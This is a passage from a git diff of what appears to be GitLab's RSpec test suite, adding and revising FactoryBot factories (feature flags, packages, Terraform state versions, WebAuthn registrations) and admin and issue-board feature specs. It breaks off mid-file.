:ci_pipeline,
:success,
- :with_coverage_reports,
+ :with_coverage_report_artifact,
project: merge_request.source_project,
ref: merge_request.source_branch,
sha: merge_request.diff_head_sha)
diff --git a/spec/factories/metrics/users_starred_dasboards.rb b/spec/factories/metrics/users_starred_dashboards.rb
index 06fe7735e9a..06fe7735e9a 100644
--- a/spec/factories/metrics/users_starred_dasboards.rb
+++ b/spec/factories/metrics/users_starred_dashboards.rb
diff --git a/spec/factories/operations/feature_flag_scopes.rb b/spec/factories/operations/feature_flag_scopes.rb
new file mode 100644
index 00000000000..a98c397b8b5
--- /dev/null
+++ b/spec/factories/operations/feature_flag_scopes.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :operations_feature_flag_scope, class: 'Operations::FeatureFlagScope' do
+ association :feature_flag, factory: :operations_feature_flag
+ active { true }
+ strategies { [{ name: "default", parameters: {} }] }
+ sequence(:environment_scope) { |n| "review/patch-#{n}" }
+ end
+end
diff --git a/spec/factories/operations/feature_flags.rb b/spec/factories/operations/feature_flags.rb
new file mode 100644
index 00000000000..7e43d38a04f
--- /dev/null
+++ b/spec/factories/operations/feature_flags.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :operations_feature_flag, class: 'Operations::FeatureFlag' do
+ sequence(:name) { |n| "feature_flag_#{n}" }
+ project
+ active { true }
+
+ trait :legacy_flag do
+ version { Operations::FeatureFlag.versions['legacy_flag'] }
+ end
+
+ trait :new_version_flag do
+ version { Operations::FeatureFlag.versions['new_version_flag'] }
+ end
+ end
+end
diff --git a/spec/factories/operations/feature_flags/scope.rb b/spec/factories/operations/feature_flags/scope.rb
new file mode 100644
index 00000000000..ef0097c6d08
--- /dev/null
+++ b/spec/factories/operations/feature_flags/scope.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :operations_scope, class: 'Operations::FeatureFlags::Scope' do
+ association :strategy, factory: :operations_strategy
+ sequence(:environment_scope) { |n| "review/patch-#{n}" }
+ end
+end
diff --git a/spec/factories/operations/feature_flags/strategy.rb b/spec/factories/operations/feature_flags/strategy.rb
new file mode 100644
index 00000000000..bdb5d9f0f3c
--- /dev/null
+++ b/spec/factories/operations/feature_flags/strategy.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :operations_strategy, class: 'Operations::FeatureFlags::Strategy' do
+ association :feature_flag, factory: :operations_feature_flag
+ name { "default" }
+ parameters { {} }
+ end
+end
diff --git a/spec/factories/operations/feature_flags/user_list.rb b/spec/factories/operations/feature_flags/user_list.rb
new file mode 100644
index 00000000000..e87598f0d7c
--- /dev/null
+++ b/spec/factories/operations/feature_flags/user_list.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :operations_feature_flag_user_list, class: 'Operations::FeatureFlags::UserList' do
+ association :project, factory: :project
+ name { 'My User List' }
+ user_xids { 'user1,user2,user3' }
+ end
+end
diff --git a/spec/factories/operations/feature_flags_clients.rb b/spec/factories/operations/feature_flags_clients.rb
new file mode 100644
index 00000000000..ca9a28dcfed
--- /dev/null
+++ b/spec/factories/operations/feature_flags_clients.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :operations_feature_flags_client, class: 'Operations::FeatureFlagsClient' do
+ project
+ end
+end
diff --git a/spec/factories/packages.rb b/spec/factories/packages.rb
index a7902f6f105..52b2a32cd3b 100644
--- a/spec/factories/packages.rb
+++ b/spec/factories/packages.rb
@@ -2,6 +2,7 @@
FactoryBot.define do
factory :package, class: 'Packages::Package' do
project
+ creator { project&.creator }
name { 'my/company/app/my-app' }
sequence(:version) { |n| "1.#{n}-SNAPSHOT" }
package_type { :maven }
@@ -56,14 +57,20 @@ FactoryBot.define do
end
factory :pypi_package do
- pypi_metadatum
-
sequence(:name) { |n| "pypi-package-#{n}"}
sequence(:version) { |n| "1.0.#{n}" }
package_type { :pypi }
- after :create do |package|
+ transient do
+ without_loaded_metadatum { false }
+ end
+
+ after :create do |package, evaluator|
create :package_file, :pypi, package: package, file_name: "#{package.name}-#{package.version}.tar.gz"
+
+ unless evaluator.without_loaded_metadatum
+ create :pypi_metadatum, package: package
+ end
end
end
@@ -115,6 +122,12 @@ FactoryBot.define do
conan_metadatum { build(:conan_metadatum, package: nil) }
end
end
+
+ factory :generic_package do
+ sequence(:name) { |n| "generic-package-#{n}" }
+ version { '1.0.0' }
+ package_type { :generic }
+ end
end
factory :composer_metadatum, class: 'Packages::Composer::Metadatum' do
@@ -297,7 +310,7 @@ FactoryBot.define do
end
factory :pypi_metadatum, class: 'Packages::Pypi::Metadatum' do
- association :package, package_type: :pypi
+ package { create(:pypi_package, without_loaded_metadatum: true) }
required_python { '>=2.7' }
end
diff --git a/spec/factories/pages_deployments.rb b/spec/factories/pages_deployments.rb
new file mode 100644
index 00000000000..1bea003d683
--- /dev/null
+++ b/spec/factories/pages_deployments.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :pages_deployment, class: 'PagesDeployment' do
+ project
+ file_store { ObjectStorage::SUPPORTED_STORES.first }
+ size { 1.megabytes }
+
+ # TODO: replace with proper file uploaded in https://gitlab.com/gitlab-org/gitlab/-/issues/245295
+ file { "dummy string" }
+ end
+end
diff --git a/spec/factories/plan_limits.rb b/spec/factories/plan_limits.rb
index 4aea09618d0..ae892307193 100644
--- a/spec/factories/plan_limits.rb
+++ b/spec/factories/plan_limits.rb
@@ -7,5 +7,14 @@ FactoryBot.define do
trait :default_plan do
plan factory: :default_plan
end
+
+ trait :with_package_file_sizes do
+ conan_max_file_size { 100 }
+ maven_max_file_size { 100 }
+ npm_max_file_size { 100 }
+ nuget_max_file_size { 100 }
+ pypi_max_file_size { 100 }
+ generic_packages_max_file_size { 100 }
+ end
end
end
diff --git a/spec/factories/project_feature_usage.rb b/spec/factories/project_feature_usage.rb
new file mode 100644
index 00000000000..8265ea04392
--- /dev/null
+++ b/spec/factories/project_feature_usage.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :project_feature_usage do
+ project
+
+ trait :dvcs_cloud do
+ jira_dvcs_cloud_last_sync_at { Time.current }
+ end
+
+ trait :dvcs_server do
+ jira_dvcs_server_last_sync_at { Time.current }
+ end
+ end
+end
diff --git a/spec/factories/project_members.rb b/spec/factories/project_members.rb
index e7004937be3..0c2ffac4112 100644
--- a/spec/factories/project_members.rb
+++ b/spec/factories/project_members.rb
@@ -3,7 +3,7 @@
FactoryBot.define do
factory :project_member do
user
- project
+ source { association(:project) }
maintainer
trait(:guest) { access_level { ProjectMember::GUEST } }
diff --git a/spec/factories/project_statistics.rb b/spec/factories/project_statistics.rb
index 78e80a92b3a..ea003b67db0 100644
--- a/spec/factories/project_statistics.rb
+++ b/spec/factories/project_statistics.rb
@@ -22,6 +22,7 @@ FactoryBot.define do
project_statistics.build_artifacts_size = evaluator.size_multiplier * 4
project_statistics.packages_size = evaluator.size_multiplier * 5
project_statistics.snippets_size = evaluator.size_multiplier * 6
+ project_statistics.pipeline_artifacts_size = evaluator.size_multiplier * 7
end
end
end
diff --git a/spec/factories/projects.rb b/spec/factories/projects.rb
index 328b7f9a229..e3411e4f925 100644
--- a/spec/factories/projects.rb
+++ b/spec/factories/projects.rb
@@ -3,8 +3,6 @@
require_relative '../support/helpers/test_env'
FactoryBot.define do
- PAGES_ACCESS_LEVEL_SCHEMA_VERSION ||= 20180423204600
-
# Project without repository
#
# Project does not have bare repository.
@@ -42,7 +40,7 @@ FactoryBot.define do
forward_deployment_enabled { nil }
end
- after(:create) do |project, evaluator|
+ before(:create) do |project, evaluator|
# Builds and MRs can't have higher visibility level than repository access level.
builds_access_level = [evaluator.builds_access_level, evaluator.repository_access_level].min
merge_requests_access_level = [evaluator.merge_requests_access_level, evaluator.repository_access_level].min
@@ -54,15 +52,14 @@ FactoryBot.define do
issues_access_level: evaluator.issues_access_level,
forking_access_level: evaluator.forking_access_level,
merge_requests_access_level: merge_requests_access_level,
- repository_access_level: evaluator.repository_access_level
+ repository_access_level: evaluator.repository_access_level,
+ pages_access_level: evaluator.pages_access_level
}
- if ActiveRecord::Migrator.current_version >= PAGES_ACCESS_LEVEL_SCHEMA_VERSION
- hash.store("pages_access_level", evaluator.pages_access_level)
- end
-
- project.project_feature.update!(hash)
+ project.build_project_feature(hash)
+ end
+ after(:create) do |project, evaluator|
# Normally the class Projects::CreateService is used for creating
# projects, and this class takes care of making sure the owner and current
# user have access to the project. Our specs don't use said service class,
@@ -114,6 +111,18 @@ FactoryBot.define do
import_status { :failed }
end
+ trait :jira_dvcs_cloud do
+ before(:create) do |project|
+ create(:project_feature_usage, :dvcs_cloud, project: project)
+ end
+ end
+
+ trait :jira_dvcs_server do
+ before(:create) do |project|
+ create(:project_feature_usage, :dvcs_server, project: project)
+ end
+ end
+
trait :archived do
archived { true }
end
@@ -383,6 +392,12 @@ FactoryBot.define do
end
end
+ factory :ewm_project, parent: :project do
+ has_external_issue_tracker { true }
+
+ ewm_service
+ end
+
factory :project_with_design, parent: :project do
after(:create) do |project|
issue = create(:issue, project: project)
diff --git a/spec/factories/resource_iteration_event.rb b/spec/factories/resource_iteration_event.rb
deleted file mode 100644
index 85e7320f7a7..00000000000
--- a/spec/factories/resource_iteration_event.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-FactoryBot.define do
- factory :resource_iteration_event do
- issue { merge_request.nil? ? create(:issue) : nil }
- merge_request { nil }
- iteration
- action { :add }
- user { issue&.author || merge_request&.author || create(:user) }
- end
-end
diff --git a/spec/factories/services.rb b/spec/factories/services.rb
index 7fbf6f16dc7..9056fd97f13 100644
--- a/spec/factories/services.rb
+++ b/spec/factories/services.rb
@@ -116,6 +116,12 @@ FactoryBot.define do
issue_tracker
end
+ factory :ewm_service do
+ project
+ active { true }
+ issue_tracker
+ end
+
trait :issue_tracker do
transient do
create_data { true }
diff --git a/spec/factories/snippet_repositories.rb b/spec/factories/snippet_repositories.rb
index 1f9e68514bb..c3a6bc3ae31 100644
--- a/spec/factories/snippet_repositories.rb
+++ b/spec/factories/snippet_repositories.rb
@@ -8,5 +8,13 @@ FactoryBot.define do
snippet_repository.shard_name = snippet_repository.snippet.repository_storage
snippet_repository.disk_path = snippet_repository.snippet.disk_path
end
+
+ trait(:checksummed) do
+ verification_checksum { 'abc' }
+ end
+
+ trait(:checksum_failure) do
+ verification_failure { 'Could not calculate the checksum' }
+ end
end
end
diff --git a/spec/factories/terraform/state.rb b/spec/factories/terraform/state.rb
index 46784581180..9decc89ef39 100644
--- a/spec/factories/terraform/state.rb
+++ b/spec/factories/terraform/state.rb
@@ -7,6 +7,7 @@ FactoryBot.define do
sequence(:name) { |n| "state-#{n}" }
trait :with_file do
+ versioning_enabled { false }
file { fixture_file_upload('spec/fixtures/terraform/terraform.tfstate', 'application/json') }
end
@@ -15,5 +16,24 @@ FactoryBot.define do
locked_at { Time.current }
locked_by_user { create(:user) }
end
+
+ trait(:checksummed) do
+ with_file
+ verification_checksum { 'abc' }
+ end
+
+ trait(:checksum_failure) do
+ with_file
+ verification_failure { 'Could not calculate the checksum' }
+ end
+
+ trait :with_version do
+ after(:create) do |state|
+ create(:terraform_state_version, :with_file, terraform_state: state)
+ end
+ end
+
+ # Remove with https://gitlab.com/gitlab-org/gitlab/-/issues/235108
+ factory :legacy_terraform_state, parent: :terraform_state, traits: [:with_file]
end
end
diff --git a/spec/factories/terraform/state_version.rb b/spec/factories/terraform/state_version.rb
new file mode 100644
index 00000000000..d1bd78215e3
--- /dev/null
+++ b/spec/factories/terraform/state_version.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :terraform_state_version, class: 'Terraform::StateVersion' do
+ terraform_state factory: :terraform_state
+ created_by_user factory: :user
+
+ sequence(:version)
+ file { fixture_file_upload('spec/fixtures/terraform/terraform.tfstate', 'application/json') }
+ end
+end
diff --git a/spec/factories/usage_data.rb b/spec/factories/usage_data.rb
index d2b8fd94aca..5b20205a235 100644
--- a/spec/factories/usage_data.rb
+++ b/spec/factories/usage_data.rb
@@ -51,12 +51,11 @@ FactoryBot.define do
create(:protected_branch, name: 'main', project: projects[0])
# Incident Labeled Issues
- incident_label_attrs = IncidentManagement::CreateIncidentLabelService::LABEL_PROPERTIES
- incident_label = create(:label, project: projects[0], **incident_label_attrs)
+ incident_label = create(:label, :incident, project: projects[0])
create(:labeled_issue, project: projects[0], labels: [incident_label])
incident_group = create(:group)
- incident_label_scoped_to_project = create(:label, project: projects[1], **incident_label_attrs)
- incident_label_scoped_to_group = create(:group_label, group: incident_group, **incident_label_attrs)
+ incident_label_scoped_to_project = create(:label, :incident, project: projects[1])
+ incident_label_scoped_to_group = create(:group_label, :incident, group: incident_group)
create(:labeled_issue, project: projects[1], labels: [incident_label_scoped_to_project])
create(:labeled_issue, project: projects[1], labels: [incident_label_scoped_to_group])
@@ -65,6 +64,10 @@ FactoryBot.define do
create(:alert_management_alert, issue: alert_bot_issues[0], project: projects[0])
create(:self_managed_prometheus_alert_event, related_issues: [issues[1]], project: projects[0])
+ # Kubernetes agents
+ create(:cluster_agent, project: projects[0])
+ create(:cluster_agent_token, agent: create(:cluster_agent, project: projects[1]) )
+
# Enabled clusters
gcp_cluster = create(:cluster_provider_gcp, :created).cluster
create(:cluster_provider_aws, :created)
@@ -94,6 +97,11 @@ FactoryBot.define do
create(:grafana_integration, project: projects[1], enabled: true)
create(:grafana_integration, project: projects[2], enabled: false)
+ create(:package, project: projects[0])
+ create(:package, project: projects[0])
+ create(:package, project: projects[1])
+ create(:package, created_at: 2.months.ago, project: projects[1])
+
ProjectFeature.first.update_attribute('repository_access_level', 0)
# Create fresh & a month (28-days SMAU) old data
diff --git a/spec/factories/users.rb b/spec/factories/users.rb
index 7e121b10632..1a8c5d7e40c 100644
--- a/spec/factories/users.rb
+++ b/spec/factories/users.rb
@@ -81,6 +81,14 @@ FactoryBot.define do
end
end
+ trait :two_factor_via_webauthn do
+ transient { registrations_count { 5 } }
+
+ after(:create) do |user, evaluator|
+ create_list(:webauthn_registration, evaluator.registrations_count, user: user)
+ end
+ end
+
trait :readme do
project_view { :readme }
end
@@ -128,6 +136,16 @@ FactoryBot.define do
end
end
+ factory :atlassian_user do
+ transient do
+ extern_uid { generate(:username) }
+ end
+
+ after(:create) do |user, evaluator|
+ create(:atlassian_identity, user: user, extern_uid: evaluator.extern_uid)
+ end
+ end
+
factory :admin, traits: [:admin]
end
end
diff --git a/spec/factories/webauthn_registrations.rb b/spec/factories/webauthn_registrations.rb
new file mode 100644
index 00000000000..ac803885244
--- /dev/null
+++ b/spec/factories/webauthn_registrations.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+FactoryBot.define do
+ factory :webauthn_registration do
+ credential_xid { SecureRandom.base64(88) }
+ public_key { SecureRandom.base64(103) }
+ name { FFaker::BaconIpsum.characters(10) }
+ counter { 1 }
+ user
+ end
+end
diff --git a/spec/features/admin/admin_cohorts_spec.rb b/spec/features/admin/admin_cohorts_spec.rb
new file mode 100644
index 00000000000..f91446ed222
--- /dev/null
+++ b/spec/features/admin/admin_cohorts_spec.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Cohorts page' do
+ before do
+ sign_in(create(:admin))
+ end
+
+ context 'with usage ping enabled' do
+ it 'shows users count per month' do
+ stub_application_setting(usage_ping_enabled: true)
+
+ create_list(:user, 2)
+
+ visit admin_cohorts_path
+
+ expect(page).to have_content("#{Time.now.strftime('%b %Y')} 3 0")
+ end
+ end
+
+ context 'with usage ping disabled' do
+ it 'shows empty state', :js do
+ stub_application_setting(usage_ping_enabled: false)
+
+ visit admin_cohorts_path
+
+ expect(page).to have_selector(".js-empty-state")
+ end
+ end
+end
diff --git a/spec/features/admin/admin_dev_ops_report_spec.rb b/spec/features/admin/admin_dev_ops_report_spec.rb
new file mode 100644
index 00000000000..c201011cbea
--- /dev/null
+++ b/spec/features/admin/admin_dev_ops_report_spec.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'DevOps Report page' do
+ before do
+ sign_in(create(:admin))
+ end
+
+ it 'has dismissable intro callout', :js do
+ visit admin_dev_ops_report_path
+
+ expect(page).to have_content 'Introducing Your DevOps Report'
+
+ find('.js-close-callout').click
+
+ expect(page).not_to have_content 'Introducing Your DevOps Report'
+ end
+
+ context 'when usage ping is disabled' do
+ before do
+ stub_application_setting(usage_ping_enabled: false)
+ end
+
+ it 'shows empty state', :js do
+ visit admin_dev_ops_report_path
+
+ expect(page).to have_selector(".js-empty-state")
+ end
+
+ it 'hides the intro callout' do
+ visit admin_dev_ops_report_path
+
+ expect(page).not_to have_content 'Introducing Your DevOps Report'
+ end
+ end
+
+ context 'when there is no data to display' do
+ it 'shows empty state' do
+ stub_application_setting(usage_ping_enabled: true)
+
+ visit admin_dev_ops_report_path
+
+ expect(page).to have_content('Data is still calculating')
+ end
+ end
+
+ context 'when there is data to display' do
+ it 'shows numbers for each metric' do
+ stub_application_setting(usage_ping_enabled: true)
+ create(:dev_ops_report_metric)
+
+ visit admin_dev_ops_report_path
+
+ expect(page).to have_content(
+ 'Issues created per active user 1.2 You 9.3 Lead 13.3%'
+ )
+ end
+ end
+end
diff --git a/spec/features/admin/admin_groups_spec.rb b/spec/features/admin/admin_groups_spec.rb
index 9cd335ffb8c..f5c5a73c042 100644
--- a/spec/features/admin/admin_groups_spec.rb
+++ b/spec/features/admin/admin_groups_spec.rb
@@ -11,6 +11,8 @@ RSpec.describe 'Admin Groups' do
let!(:current_user) { create(:admin) }
before do
+ stub_feature_flags(vue_group_members_list: false)
+
sign_in(current_user)
stub_application_setting(default_group_visibility: internal)
end
diff --git a/spec/features/admin/admin_settings_spec.rb b/spec/features/admin/admin_settings_spec.rb
index f5b05c76e90..38f0b813183 100644
--- a/spec/features/admin/admin_settings_spec.rb
+++ b/spec/features/admin/admin_settings_spec.rb
@@ -17,7 +17,10 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
end
context 'General page' do
+ let(:gitpod_feature_enabled) { true }
+
before do
+ stub_feature_flags(gitpod: gitpod_feature_enabled)
visit general_admin_application_settings_path
end
@@ -205,6 +208,32 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(page).to have_content "Application settings saved successfully"
expect(current_settings.terminal_max_session_time).to eq(15)
end
+
+ context 'Configure Gitpod' do
+ context 'with feature disabled' do
+ let(:gitpod_feature_enabled) { false }
+
+ it 'do not show settings' do
+ expect(page).not_to have_selector('#js-gitpod-settings')
+ end
+ end
+
+ context 'with feature enabled' do
+ let(:gitpod_feature_enabled) { true }
+
+ it 'changes gitpod settings' do
+ page.within('#js-gitpod-settings') do
+ check 'Enable Gitpod integration'
+ fill_in 'Gitpod URL', with: 'https://gitpod.test/'
+ click_button 'Save changes'
+ end
+
+ expect(page).to have_content 'Application settings saved successfully'
+ expect(current_settings.gitpod_url).to eq('https://gitpod.test/')
+ expect(current_settings.gitpod_enabled).to be(true)
+ end
+ end
+ end
end
context 'Integrations page' do
@@ -232,7 +261,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
page.select 'All branches', from: 'Branches to be notified'
check_all_events
- click_on 'Save'
+ click_button 'Save changes'
expect(page).to have_content 'Application settings saved successfully'
@@ -285,6 +314,55 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
expect(current_settings.auto_devops_domain).to eq('domain.com')
expect(page).to have_content "Application settings saved successfully"
end
+
+ context 'Container Registry' do
+ context 'delete tags service execution timeout' do
+ let(:feature_flag_enabled) { true }
+ let(:client_support) { true }
+
+ before do
+ stub_container_registry_config(enabled: true)
+ stub_feature_flags(container_registry_expiration_policies_throttling: feature_flag_enabled)
+ allow(ContainerRegistry::Client).to receive(:supports_tag_delete?).and_return(client_support)
+ end
+
+ RSpec.shared_examples 'not having service timeout settings' do
+ it 'lacks the timeout settings' do
+ visit ci_cd_admin_application_settings_path
+
+ expect(page).not_to have_content "Container Registry delete tags service execution timeout"
+ end
+ end
+
+ context 'with feature flag enabled' do
+ context 'with client supporting tag delete' do
+ it 'changes the timeout' do
+ visit ci_cd_admin_application_settings_path
+
+ page.within('.as-registry') do
+ fill_in 'application_setting_container_registry_delete_tags_service_timeout', with: 400
+ click_button 'Save changes'
+ end
+
+ expect(current_settings.container_registry_delete_tags_service_timeout).to eq(400)
+ expect(page).to have_content "Application settings saved successfully"
+ end
+ end
+
+ context 'with client not supporting tag delete' do
+ let(:client_support) { false }
+
+ it_behaves_like 'not having service timeout settings'
+ end
+ end
+
+ context 'with feature flag disabled' do
+ let(:feature_flag_enabled) { false }
+
+ it_behaves_like 'not having service timeout settings'
+ end
+ end
+ end
end
context 'Repository page' do
@@ -525,6 +603,7 @@ RSpec.describe 'Admin updates settings', :clean_gitlab_redis_shared_state, :do_n
end
def check_all_events
+ page.check('Active')
page.check('Push')
page.check('Issue')
page.check('Confidential Issue')
diff --git a/spec/features/admin/admin_users_spec.rb b/spec/features/admin/admin_users_spec.rb
index 6cd18f2755c..a37210d2acc 100644
--- a/spec/features/admin/admin_users_spec.rb
+++ b/spec/features/admin/admin_users_spec.rb
@@ -279,7 +279,8 @@ RSpec.describe "Admin::Users" do
expect(page).to have_content(user.email)
expect(page).to have_content(user.name)
- expect(page).to have_content(user.id)
+ expect(page).to have_content("ID: #{user.id}")
+ expect(page).to have_content("Namespace ID: #{user.namespace_id}")
expect(page).to have_button('Deactivate user')
expect(page).to have_button('Block user')
expect(page).to have_button('Delete user')
@@ -353,7 +354,7 @@ RSpec.describe "Admin::Users" do
it 'sees impersonation log out icon' do
subject
- icon = first('.fa.fa-user-secret')
+ icon = first('[data-testid="incognito-icon"]')
expect(icon).not_to be nil
end
@@ -536,7 +537,7 @@ RSpec.describe "Admin::Users" do
it 'allows group membership to be revoked', :js do
page.within(first('.group_member')) do
- accept_confirm { find('.btn-remove').click }
+ accept_confirm { find('.btn[data-testid="remove-user"]').click }
end
wait_for_requests
diff --git a/spec/features/admin/services/admin_activates_prometheus_spec.rb b/spec/features/admin/services/admin_activates_prometheus_spec.rb
index 35af9dd6c68..199eae59afc 100644
--- a/spec/features/admin/services/admin_activates_prometheus_spec.rb
+++ b/spec/features/admin/services/admin_activates_prometheus_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe 'Admin activates Prometheus', :js do
it 'activates service' do
check('Active')
fill_in('API URL', with: 'http://prometheus.example.com')
- click_button('Save')
+ click_button('Save changes')
expect(page).to have_content('Application settings saved successfully')
end
diff --git a/spec/features/admin/services/admin_visits_service_templates_spec.rb b/spec/features/admin/services/admin_visits_service_templates_spec.rb
index 8e02538ece0..a37e57304aa 100644
--- a/spec/features/admin/services/admin_visits_service_templates_spec.rb
+++ b/spec/features/admin/services/admin_visits_service_templates_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe 'Admin visits service templates' do
let(:admin) { create(:user, :admin) }
- let(:slack_service) { Service.templates.find { |s| s.type == 'SlackService' } }
+ let(:slack_service) { Service.for_template.find { |s| s.type == 'SlackService' } }
before do
sign_in(admin)
diff --git a/spec/features/boards/boards_spec.rb b/spec/features/boards/boards_spec.rb
index 8e2a9381aa0..e36378bd34e 100644
--- a/spec/features/boards/boards_spec.rb
+++ b/spec/features/boards/boards_spec.rb
@@ -6,11 +6,11 @@ RSpec.describe 'Issue Boards', :js do
include DragTo
include MobileHelpers
- let(:group) { create(:group, :nested) }
- let(:project) { create(:project, :public, namespace: group) }
- let(:board) { create(:board, project: project) }
- let(:user) { create(:user) }
- let!(:user2) { create(:user) }
+ let_it_be(:group) { create(:group, :nested) }
+ let_it_be(:project) { create(:project, :public, namespace: group) }
+ let_it_be(:board) { create(:board, project: project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:user2) { create(:user) }
before do
project.add_maintainer(user)
@@ -62,30 +62,30 @@ RSpec.describe 'Issue Boards', :js do
end
context 'with lists' do
- let(:milestone) { create(:milestone, project: project) }
-
- let(:planning) { create(:label, project: project, name: 'Planning', description: 'Test') }
- let(:development) { create(:label, project: project, name: 'Development') }
- let(:testing) { create(:label, project: project, name: 'Testing') }
- let(:bug) { create(:label, project: project, name: 'Bug') }
- let!(:backlog) { create(:label, project: project, name: 'Backlog') }
- let!(:closed) { create(:label, project: project, name: 'Closed') }
- let!(:accepting) { create(:label, project: project, name: 'Accepting Merge Requests') }
- let!(:a_plus) { create(:label, project: project, name: 'A+') }
- let!(:list1) { create(:list, board: board, label: planning, position: 0) }
- let!(:list2) { create(:list, board: board, label: development, position: 1) }
-
- let!(:confidential_issue) { create(:labeled_issue, :confidential, project: project, author: user, labels: [planning], relative_position: 9) }
- let!(:issue1) { create(:labeled_issue, project: project, title: 'aaa', description: '111', assignees: [user], labels: [planning], relative_position: 8) }
- let!(:issue2) { create(:labeled_issue, project: project, title: 'bbb', description: '222', author: user2, labels: [planning], relative_position: 7) }
- let!(:issue3) { create(:labeled_issue, project: project, title: 'ccc', description: '333', labels: [planning], relative_position: 6) }
- let!(:issue4) { create(:labeled_issue, project: project, title: 'ddd', description: '444', labels: [planning], relative_position: 5) }
- let!(:issue5) { create(:labeled_issue, project: project, title: 'eee', description: '555', labels: [planning], milestone: milestone, relative_position: 4) }
- let!(:issue6) { create(:labeled_issue, project: project, title: 'fff', description: '666', labels: [planning, development], relative_position: 3) }
- let!(:issue7) { create(:labeled_issue, project: project, title: 'ggg', description: '777', labels: [development], relative_position: 2) }
- let!(:issue8) { create(:closed_issue, project: project, title: 'hhh', description: '888') }
- let!(:issue9) { create(:labeled_issue, project: project, title: 'iii', description: '999', labels: [planning, testing, bug, accepting], relative_position: 1) }
- let!(:issue10) { create(:labeled_issue, project: project, title: 'issue +', description: 'A+ great issue', labels: [a_plus]) }
+ let_it_be(:milestone) { create(:milestone, project: project) }
+
+ let_it_be(:planning) { create(:label, project: project, name: 'Planning', description: 'Test') }
+ let_it_be(:development) { create(:label, project: project, name: 'Development') }
+ let_it_be(:testing) { create(:label, project: project, name: 'Testing') }
+ let_it_be(:bug) { create(:label, project: project, name: 'Bug') }
+ let_it_be(:backlog) { create(:label, project: project, name: 'Backlog') }
+ let_it_be(:closed) { create(:label, project: project, name: 'Closed') }
+ let_it_be(:accepting) { create(:label, project: project, name: 'Accepting Merge Requests') }
+ let_it_be(:a_plus) { create(:label, project: project, name: 'A+') }
+ let_it_be(:list1) { create(:list, board: board, label: planning, position: 0) }
+ let_it_be(:list2) { create(:list, board: board, label: development, position: 1) }
+
+ let_it_be(:confidential_issue) { create(:labeled_issue, :confidential, project: project, author: user, labels: [planning], relative_position: 9) }
+ let_it_be(:issue1) { create(:labeled_issue, project: project, title: 'aaa', description: '111', assignees: [user], labels: [planning], relative_position: 8) }
+ let_it_be(:issue2) { create(:labeled_issue, project: project, title: 'bbb', description: '222', author: user2, labels: [planning], relative_position: 7) }
+ let_it_be(:issue3) { create(:labeled_issue, project: project, title: 'ccc', description: '333', labels: [planning], relative_position: 6) }
+ let_it_be(:issue4) { create(:labeled_issue, project: project, title: 'ddd', description: '444', labels: [planning], relative_position: 5) }
+ let_it_be(:issue5) { create(:labeled_issue, project: project, title: 'eee', description: '555', labels: [planning], milestone: milestone, relative_position: 4) }
+ let_it_be(:issue6) { create(:labeled_issue, project: project, title: 'fff', description: '666', labels: [planning, development], relative_position: 3) }
+ let_it_be(:issue7) { create(:labeled_issue, project: project, title: 'ggg', description: '777', labels: [development], relative_position: 2) }
+ let_it_be(:issue8) { create(:closed_issue, project: project, title: 'hhh', description: '888') }
+ let_it_be(:issue9) { create(:labeled_issue, project: project, title: 'iii', description: '999', labels: [planning, testing, bug, accepting], relative_position: 1) }
+ let_it_be(:issue10) { create(:labeled_issue, project: project, title: 'issue +', description: 'A+ great issue', labels: [a_plus]) }
before do
visit project_board_path(project, board)
@@ -636,7 +636,7 @@ RSpec.describe 'Issue Boards', :js do
end
context 'as guest user' do
- let(:user_guest) { create(:user) }
+ let_it_be(:user_guest) { create(:user) }
before do
project.add_guest(user_guest)
diff --git a/spec/features/boards/new_issue_spec.rb b/spec/features/boards/new_issue_spec.rb
index efa1f8cfc0d..f434ea0c66f 100644
--- a/spec/features/boards/new_issue_spec.rb
+++ b/spec/features/boards/new_issue_spec.rb
@@ -130,24 +130,43 @@ RSpec.describe 'Issue Boards new issue', :js do
context 'group boards' do
let_it_be(:group) { create(:group, :public) }
- let_it_be(:project) { create(:project, namespace: group) }
+ let_it_be(:project) { create(:project, :public, namespace: group) }
let_it_be(:group_board) { create(:board, group: group) }
- let_it_be(:list) { create(:list, board: group_board, position: 0) }
+ let_it_be(:project_label) { create(:label, project: project, name: 'label') }
+ let_it_be(:list) { create(:list, board: group_board, label: project_label, position: 0) }
context 'for unauthorized users' do
- before do
- sign_in(user)
- visit group_board_path(group, group_board)
- wait_for_requests
- end
+ context 'when backlog does not exist' do
+ before do
+ sign_in(user)
+ visit group_board_path(group, group_board)
+ wait_for_requests
+ end
- it 'displays new issue button in open list' do
- expect(first('.board')).to have_selector('.issue-count-badge-add-button', count: 1)
+ it 'does not display new issue button in label list' do
+ page.within('.board.is-draggable') do
+ expect(page).not_to have_selector('.issue-count-badge-add-button')
+ end
+ end
end
- it 'does not display new issue button in label list' do
- page.within('.board.is-draggable') do
- expect(page).not_to have_selector('.issue-count-badge-add-button')
+ context 'when backlog list already exists' do
